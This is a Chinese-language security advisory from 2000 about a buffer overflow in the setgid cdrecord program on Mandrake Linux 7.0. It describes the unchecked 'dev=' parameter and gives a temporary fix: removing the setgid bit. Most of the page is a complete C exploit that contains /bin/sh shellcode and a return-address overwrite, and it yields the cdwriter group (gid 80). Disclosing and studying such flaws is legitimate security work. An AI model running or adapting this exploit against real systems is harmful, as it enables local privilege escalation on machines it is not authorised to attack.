xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux cdrecord缓冲溢出漏洞


发布时间:2000-09-15
更新时间:2000-09-15
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
MandrakeSoft Linux Mandrake 7.0
详细描述
当安装了Mandrake7.0时,默认地有一个setgid程序cdburner——gid是80,在cdburner运行时,有一个'dev='设定值没有被校验,可以被用来以cdburner的egid来执行命令。

测试代码
该测试程序在x86的Mandrake 7.0上面测试通过,其它版本或许也有存在同样问题。 /* /usr/bin/cdrecord exploit by noir * x86/Linux * noir@gsu.linux.org.tr | noir@olympos.org * dev= param overflow * this script will get you gid = 80 group cdwriter * tested on Mandrake 7.0 (Air) * greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org * * */ #include #include #define NOP 0x90 #define RET 0xbffffe66 //play with argv[1] +10, -10 if default is not ok int main(int argc, char *argv[]) { unsigned char shell[] = "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /*setregid(80, 80) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char egg[400]; char buf[80]; int i, a; long ret = RET; if(argv[1]) ret = ret - atoi(argv[1]); memset(egg, NOP, 400); for(i = 0 ; i < 80 ; i+=4) *(long *) &buf[i] = ret; for( i = 300, a = 0; a < strlen(shell) ; i++, a++ ) egg[i] = shell[a]; buf[72] = 0x00; egg[399] = 0x00; printf("eip: 0x%x\n", ret); setenv("EGG", egg, 1); execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0); }

解决方案
临时的解决办法是移除cdburner的setgid位。

相关信息